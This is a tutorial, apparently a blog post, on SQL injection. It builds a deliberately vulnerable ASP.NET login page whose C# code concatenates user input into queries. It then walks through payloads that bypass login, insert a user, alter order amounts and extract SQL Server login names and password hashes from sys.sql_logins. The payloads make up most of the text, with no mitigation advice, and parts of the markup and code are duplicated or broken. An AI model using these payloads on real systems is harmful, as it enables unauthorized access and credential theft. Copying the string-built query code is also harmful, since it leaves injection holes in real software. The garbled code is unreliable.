SQL INJECTION

NEED OF SQL INJECTION

Implementing an actual SQL injection attack against a system for which you have not been provided explicit authorization may result in your prosecution. This Post Tell You why we need SQL INJECTION. I will Demonstrate some of Interesting demonstration.and after Reading this Post You can Easily Understand whats the matter is.

First of All make two Table into your database.

User(Column:UserId,UserName,Password)

Orders(Column:OrderId,Amount,OrderName,UserId)

→ UserId in Order Table is Foreign key Of UserTable.

→ Now insert value in UserTable manually.For example:UserId=1,UserName=Test and Password=Test

→ Now insert some value in OrderTable for UserId=1

First of All make two Table into your database.

User(Column:UserId,UserName,Password)

Orders(Column:OrderId,Amount,OrderName,UserId)

→ UserId in Order Table is Foreign key Of UserTable.

→ Now insert value in UserTable manually.For example:UserId=1,UserName=Test and Password=Test

→ Now insert some value in OrderTable for UserId=1

<body>

<div>

This is the UNSECURE SQL Login Page.

Username:div>

<asp:TextBox ID="TextBoxUsername" runat="server">

asp:TextBox>

Password:

<asp:TextBox ID="TextBoxPassword" runat="server">

asp:TextBox>

Result:

<asp:Label ID="LabelResult" runat="server" Text="-">asp:Label>

<asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click"

Text="Login" />

<asp:Label ID="LabelData" runat="server" Text="YOUR OREDER HISTORY"

Visible="False">asp:Label>

<asp:GridView ID="GridView1" runat="server" Visible="False">

asp:GridView>

<asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click"

Text="Logout" Visible="False" />

div>

form>

body>

public partial class _Default : System.Web.UI.Page

{

private string _username;

private string _password;

private bool _loggedIn = false;

private string _connString =

@"Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\Login.mdf;Integrated Security=True;User Instance=True;";

private SqlConnection _sqlConn = null;

protected void Page_Load(object sender, EventArgs e)

{

}

protected void ButtonLogin_Click(object sender, EventArgs e)

{

_username = Request["TextBoxUsername"];

_password = Request["TextBoxPassword"];

if (!IsNonEmptyTextBox())

{

LabelResult.Text = "Missing UserName or Password";

return;

}

if (AttempLogin())

{

// Login succeeded

// Fill order data

FillOrderData();

EnableLoggedInVisuals();

}

else

{

DisableLoggedInVisuals();

}

protected bool IsNonEmptyTextBox()

{

if (_username == null ||

_username.Length == 0 ||

_password == null ||

_password.Length == 0)

{

return false;

}

else return true;

}

protected bool AttempLogin()

{

try

{

_sqlConn = new SqlConnection(_connString);

_sqlConn.Open();

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to open SQL Connection: {0}", ex.Message);

return false;

}

SqlDataReader dataReader = null;

string SQLQuery = String.Format(

"SELECT * FROM User WHERE Username='{0}' AND Password='{1}'",

_username, _password);

SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

try

{

dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

if (dataReader.HasRows)

{

LabelResult.Text = String.Format("Login successfully");

dataReader.Close();

_loggedIn = true;

return true;

}

else

{

LabelResult.Text = String.Format(

"Login failed: Invalid UserName or Password");

dataReader.Close();

return false;

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}

//return true;

}

protected bool FillOrderData()

{

SqlDataReader dataReader = null;

if (!_loggedIn)

{

LabelResult.Text = "No user logged it";

return false;

}

string SQLQuery = String.Format(

"SELECT Orders.OrderId, Orders.Amount, Orders.OrderName " +

"FROM Users, Orders WHERE Users.Username='{0}' " +

"AND Users.UserId=Orders.UserId", _username);

SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

try

{

dataReader = command.ExecuteReader(CommandBehavior.Default);

GridView1.DataSource = dataReader;

GridView1.DataBind();

dataReader.Close();

return true;

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}

protected void EnableLoggedInVisuals()

{

ButtonLogin.Enabled = false;

ButtonLogin.Visible = false;

LabelData.Visible = true;

GridView1.Enabled = true;

GridView1.Visible = true;

ButtonLogout.Enabled = true;

ButtonLogout.Visible = true;

}

protected void DisableLoggedInVisuals()

{

ButtonLogin.Enabled = true;

ButtonLogin.Visible = true;

LabelData.Visible = false;

GridView1.Enabled = false;

GridView1.Visible = false;

ButtonLogout.Enabled = false;

ButtonLogout.Visible = false;

}

protected void ButtonLogout_Click(object sender, EventArgs e)

{

LabelResult.Text = "Logged Out";

_loggedIn = false;

_username = "";

_password = "";

DisableLoggedInVisuals();

}

Now For example You Enter :UserName=UnAuthorized

Password=UnAuthorized

See Fig 1.1

→ Then this UserName and Password is wrong since its not in a database so as expected it shows..

Now try This to Insert

UserName:Test

Password:Test

Then as Expected Output

See Fig 1.2

Now if u know that someone UserName is Test then You can easily Enter into the site.then insert as below

UserName=Test'--

Password=none

In Password Textbox You can insert anything as you wish.Then the Output will be

→ Though the Password is wrong u can enter into the site.This is because after UserName Test there is symbol '– is consider as a comment so after that symbol Password filed is consider as a comment so,it cant check Password field it only check UserName only.and Login will be successful.

See Fig 1.3

UserName:' or 1=1 –

Password:anything

still u can enter into site same mechanism.

See Fig 1.6

Next Trick

If you know that there is a table User is there in this site then you can also insert or Update in the User Table.

For Example

UserName:';INSERT INTO User VALUES (1,'Hi','Hi')--

Password:none

Then You will get

Now Try to Login Using

UserName:Hi

Password:Hi

You will get into the site

See fig 1.4

same way Update it like

UserName=';UPDATE Orders Set Amount=100--

Password=none

then OutPut will be

Now Login using above example

we will get updated Amount

See Fig 1.5

Now Last one but Complex Trick

So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
The answer is simple, we inject all the information into the Orders table and get the query to display it.

Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
Password: none